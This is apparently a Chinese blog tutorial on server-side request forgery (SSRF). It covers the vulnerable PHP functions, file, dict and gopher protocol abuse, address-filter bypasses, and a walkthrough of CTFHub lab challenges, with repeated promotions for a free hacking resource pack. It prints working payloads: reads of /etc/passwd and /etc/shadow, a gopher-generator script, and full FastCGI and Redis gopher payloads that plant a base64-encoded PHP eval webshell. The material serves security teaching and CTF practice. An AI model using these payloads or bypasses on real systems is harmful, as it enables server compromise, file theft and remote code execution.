漏洞描述
SSRF(Server-side Request Forgery),服务端请求伪造。是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况况下SSRF攻击的目标是从外网无法访问到的内部系统 (正因为它是由服务端发起的,所以它能够请求到与自身相连而与外网隔离的内部系统)。
漏洞原理
SSRF形成的原因大都是由于服务端提供了从 其他服务器 应用 获取数据 的功能且没有对服务器目标地址做过滤与限制,用户对目标地址可控。
内网应用服务器地址利用各种协议去读取本地文件
漏洞分类
显示对攻击者的响应(Basic)
它显示对攻击者的响应,因此在服务器获取攻击者要求请求的URL后,他将会把响应发送回攻击者。返回结果到客户端。会返回这个网址的界面或对应的HTML代码。
不显示响应(Blind)
和上面正好相反, 不会返回结果到客户端 。当您从未从初次请求中获取有关目标服务的任何信息时,就会发生这种ssrf。通常,攻击者将提供url,但是该url中的数据将永远不会返回给攻击者。要在这种情况下确认漏洞,攻击者必须使用Burp,DNSLOG等类似工具。这些工具可以通过强制服务器向攻击者控制的服务器发出DNS或HTTP请求来确认服务器是易受攻击的。这种ssrf通常易于验证,但难以利用;
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
漏洞函数
SSRF 漏 洞 可 能 会 产 生 在 任 何 语 言 编 写 的 应 用 中 , 这 里 介 绍 PHP 中 可 能 会 存 在 SSRF 漏 洞 的 函 数 :file_get_contents()、fsockopen()、curl_exec()
file_get_contents():将整个文件或一个URL指向的文件,以字符串的性质展示给用户
curl_exec(): 对远程的URL发起请求访问,并将请求的结果返回至前端页面
fsockopen(): 使用该函数实现获取用户制定url的数据(文件或者html);该函数会使用socket跟服务器建立TCP连接,进行传输原始数据
攻击方式
主要攻击方式如下所示:
1. 对外网服务器所在的内网/本机进行主机扫描、端口扫描、服务探测。
2. 攻击运行在内网或本地的应用程序。
3. 攻击内外网的web应用,主要是使用 get 参数就可以实现的攻击(比如struts2,sqli、thinkphp等);
4. 利用File协议读取服务器文件。
5. 各个协议调用探针: http,file,dict,ftp,gopher 等
漏洞探测
有回显类型:输入指定地址,如果将指定URL内容获取到了那么也存在SSRF
无回显类型:输入dnslog地址,如果dnslog地址有解析记录及代码存在SSRF
1. 服务端会去其他服务器获取资源
2. 我们对获取资源的服务器地址是可控的
1. 服务器提供了从其他服务器获取数据的功能
2. 其他服务器的地址是我们可控的
3. 没有过滤
协议
http:// -- 通过http协议访问内网主机web服务,或发送Get数据包
file:// -- 本地文件传输协议,主要用于访问`本地计算机中`的文件
dict:// -- 字典服务器协议,dict是基于查询相应的TCP协议
gopher:// -- 互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前
sftp:// -- 安全文件传输协议
tftp:// -- 基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机
ldap:// -- 轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议
http协议
能进行内网端口探测-可通过返回的时间和长度判断端口是否开放/与Web站点访问。
file协议
伪协议、读取敏感的文件信息、
linux的网站目录
/var/www/html/
/var/logs/httpd/access.log error.log
/var/logs/Nginx/access.log error.log
file:///var/logs/httpd/access.log
file:///etc/passwd
windows系统基本配置信息file:///c:/windows/win.ini
Linux用户基本配置信息file:///etc/shadow Linux用户密码等敏感信息(一般需要root用户才能查看 web服务用户一般没有权限查看)
file:///etc/hosts 查看内网地址段
dict协议
内网服务探测(DICT伪协议)dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是在SSRF中如果可以使用dict协议那么就可以获取目标服务器端口上运行的服务版本等信息。
通过响应时间来判断端口是否开放
Gopher协议
Gopher协议 是比HTTP协议更早出现的协议,现在已经不常使用了,但是在SSRF漏洞中可以利用gopher协议发送各种格式的请求包,这样便可以解决漏洞点不在GET参数的问题。所有WEB服务器都支持gopher协议。
# Gopher协议格式:
gopher://:/_TCP数据流
注意:
由于Gopher协议的特殊格式,在SSRF利用Gopher攻击目标时,需要对数据包进行两次URL编码。
1. 第一次URL将URL中的特殊字符进行转义,以便于传输和解析。
2. 第二次编码是为了让Gopher协议能够正常解析,因为Gopher协议使用的ASCII编码。需要将URL中的所有字符都转换为ASCII码的可打印字符,才能被Gopher协议正确解析。
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
SSRF⽀持的协议
# ftp
ssrf.php?url=ftp://evil.com:12345/TEST
# file://
ssrf.php?url=file:///etc/password
# Dict://
dict://<user-auth>@<host>:<port>/d:<word>ssrf.php?url=dict://attacker:11111/
# SFTP://
ssrf.php?url=sftp://example.com:11111/
# TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
# LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
# Gopher://
ssrf.php?url=gopher://127.0.0.1:3306
FastCGI
当客户端请求的是index.php,根据配置文件Web Server辨别不是静态文件,此时中间件就会将请求转发给PHP解析器来处理。
客户段请求静态网站 =----> 中间件直接处理返回客户段请求脚本文件php jsp —> 中间件判断用户请求的文件类型 —> 通过fastcgi 将请求文件提交给php-fpm(解析器)进行处理 —》 调用数据库数据 --> 返回数据到中间件 --> 客户端
攻击内⽹Redis
redis低版本默认存在漏洞 (未授权访问) 也不需要权限校验即可进入到redis执行redis命令 。redis命令中有几条命令可以写入文件到服务器中redis未授权访问getshell的方式
1.写⼊计划任务(反弹shell)
2.写⼊webshell到对⽅⽹站⽬录
3.写⼊SSH公钥进⾏免密连接
SSRF漏洞绕过
常见限制
# 限制为http://www.xxx.com域名
采用http基本身份认证的方式绕过。即@http://www.xxx.com@www.xxc.com
#限制请求IP不为内网地址⭐当不允许ip为内网地址时
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
# 限制请求只为HTTP协议
(1)采取302跳转
(2)采取短地址
绕过方式
1.# “@”
http://abc@127.0.0.1
实际上是以用户名abc连接到站点127.0.0.1,同理
http://8.8.8.8@127.0.0.1:8080、http://127.0.0.1#8.8.8.8
在对@解析域名中,不同的处理函数存在处理差异,如:
http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com
2.# “[::]”
可以利用[::]来绕过localhost
http://[::]:80/ >>> http://127.0.0.1
3.# 添加端口号
http://127.0.0.1:8080
4.# 利用短网址
站长工具短网址/百度短网址
https://urlc.net/cn/
5.# 利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1
6.# 利用DNS解析
在域名上设置A记录,指向127.0.0.1
7.# 利用进制转换
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
8.# 句号
127。0。0。1 >>> 127.0.0.1
9.# 利用30X重定向
使用https://tinyurl.com生成302跳转地址
https://urlc.net/cn/
10.# URL十六进制编码
URL十六进制编码可被浏览器正常识别,编码脚本:
十六进制:0x7f.0.0.1
11.利用30X重定向
可以使用重定向来让服务器访问目标地址,可用于重定向的HTTP状态码:300、301、302、303、305、307、
308。
需要一个vps,把302转换的代码部署到vps上,然后去访问,就可跳转到内网中
ctfhub实战
网址:https://www.ctfhub.com
第一关:内网访问
题目
看到提示我们可以知道falg应该位于他呢台机器的根目录下
开启环境
进入之后发现页面空白,在url中有个url的参数
我们直接使用http协议让他去访问127.0.0.1/flag.php
拿到flag成功过关
第二关:伪协议读取文件
题目:
开启环境
可以看到跟第一关一样的页面
看提示让我们去尝试读取一下web目录下的flag
读取文件这个时候就应该用file协议
这个时候我们还看到在web目录下呢linux默认的web路径为/vat/www/html
语句:file:///var/www/html/flag.php
然后发现之读到了三个?
不要慌,这个时候我们查看页面源码就可以看到flag了
成功过关
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
第三关:端口扫描
题目
我们可以看到第三关需要我们探测端口8000-9000
这个时候就应该用dict协议
加上burp爆破模块来进行探测
跟第一关同样的页面,输入语句后抓包然后发送到爆破模块
开始爆破
然后我们可以看到端口为8880
然后我们利用http协议去请求127.0.0.1:8880
成功获取flag
第四关:POST请求
题目
我们可以看到和前面同样的页面
我们尝试使用http,file等协议看看有什么相应
经过尝试,我们发现使用http协议读取127.0.0.1/flag.php时页面会出现一个输入框
还有使用file协议读取/var/www/html/flag.php时也会出现一个输入框
我们先来看http协议读取到的输入框
我们查看一下源码看看
可以看到这个页面提交的key会以post的形式给./flag.php页面
然后我们再去看一下file协议读取到网站下的输入框
查看页面源码
页面源码的大致意思为
这个时候我们在返回http协议的页面
输入key回车
出现个这个东西,加上刚才的源码,可以判断,不能请求127.0.0.1这个地址
将这个数据包抓下来,然后使用gopher.py脚本来生成协议
gopher.py脚本如下:
# -*- coding: utf-8 -*
import urllib.parse
payload =\
"""
//这里输入抓到的数据包
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
开启抓包,输入key,回车
将抓到的数据包全部复制下来粘贴到脚本中
然后在cmd中运行脚本
然后将生成的东西粘贴到url参数上进行访问即可
成功得到flag
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
第五关:上传文件
题目
只提示了需要上传文件到flag.php
进去看看
一样的页面
先试用file,http看看
首先看file协议的源码,代码的大致意思如下
呢么看来我们还需要使用gopher协议
http的源码还是一样的简单,就不说了
呢么我们上传一个文件,使用gopher脚本转换,然后再在url中进行访问
首先随便上传一个文件
选完文件之后发现没有上传的按钮
没关系,我们直接f12去源码中编辑html元素,添加一个按钮即可
然后点击提交,顺便抓个包
直接提交果然不行
我们将抓到的数据包复制下来,然后利用gopher脚本进行转换
然后在cmd中使用python执行这个脚本
然后将东西复制出来作为参数url的值进行传输访问
成功得到flag
第六关FastCGI协议
题目
如果大家不太了解fastcgi的话可以先去网上找两篇文章来了解一下
针对fastcgi这里的话是有工具的,在这就直接使用工具来完成了
工具地址:https://pan.baidu.com/s/1CSiHWysbN9Z0y1y0UArBsA?pwd=5m45
使用工具的前提:
1.需要知道网站一个存在的php文件
2.工具需要使用python2的环境
首页
依旧是这样的,我们需要找到一个php页面,首先试试index.php
会跳转到首页,说明他是存在的
然后我们就可以开始利用工具进行攻击了
使用python2的环境运行
然后输入一个网站已经存在的php文件
然后输入想要执行的命令
这里的话我们使用命令写入个一句话木马
首先写个一句话木马使用base64编码一下
然后使用echo命令将他重定向到一个文件中
echo PD9waHAgQGV2YWwoJF9QT1NUWzExMV0pPz4= | base64 -d > /var/www/html/shell.php
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH131%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%83%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgQGV2YWwoJF9QT1NUWzExMV0pPz4%3D%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
然后我们将生成的东西复制出来进行二次url编码
注意在编码的时候后面不要留有空格,否则就会失败
gopher%3a%2f%2f127.0.0.1%3a9000%2f_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2f%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2f1.1%250E%2503CONTENT_LENGTH131%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2f%2finput%250F%2517SCRIPT_FILENAME%2fvar%2fwww%2fhtml%2findex.php%250D%2501DOCUMENT_ROOT%2f%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2583%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgQGV2YWwoJF9QT1NUWzExMV0pPz4%253D%2520%257C%2520base64%2520-d%2520%253E%2520%2fvar%2fwww%2fhtml%2fshell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
然后将二次编码的东西作为url的参数传入然后访问即可
看到这个页面说明命令成功执行,然后我们去访问一下我们写入的webshell
成功写入,使用蚁剑去连接
成功连接,记得选base64
然后我们去根目录下即可找到flag
成功得到flag
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
第七关:Redis协议
题目
还用第六关的工具就可以,他也可以对redis进行攻击
首页
首先使用python2运行该工具,然后
选择
phpshell即可
然后需要提供服务器web网站的根位置
这里就是默认的,所以直接回车就好
然后这里我们输入攻击载荷,也就是一句话木马
然后就给我们生成了如下的东西
我们将这东西复制进行url编码,然后再作为url参数的值进行提交即可
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B1%5D%29%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
gopher%3a%2f%2f127.0.0.1%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B1%255D%2529%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
编码完成之后然后去对页面进行攻击
看到一直转圈说明写入成功
然后我们去访问看看
成功写入,使用工具连接
然后在根目录下找到flag即可
拿到flag
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
第八关:URL Bypass
题目
看到提示其实已经很简单了吧
必须包含一个域名,所以要绕过,呢么直接就可以想到用@符号进行绕过
首页
然后直接绕就行
拿到flag,直接秒了
第九关:数字IP Bypass
题目
看到提示,不能使用点分十进制,但是又需要访问127.0.0.1,呢直接编码不就可以了嘛,
首页
我们先来看一下
扳掉了
直接编码
127.0.0.1的十六进制编码为:0x7f000001
成功得到flag,直接拿下
第十关:302跳转 Bypass
题目
根据提示,我们先来试试http
可以看到不能访问127.0.0.1
但是题目提示302跳转,呢我们就可以想到localhost会跳转为127.0.0.1,我们将127.0.0.1换位localhost即可
拿到flag
十一关:DNS重绑定 Bypass
题目
开启题目后,我们可以看到,这个题目是有个附件的
如果不是很清楚DNS重绑的话可以去附件先看看,了解一下
首页
一样的白页面,先看看http
然后我们去网站生成一个
网站地址:https://lock.cmpxchg8b.com/rebinder.html
复制,然后粘贴在127.0.0.1的位置即可
拿到flag
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~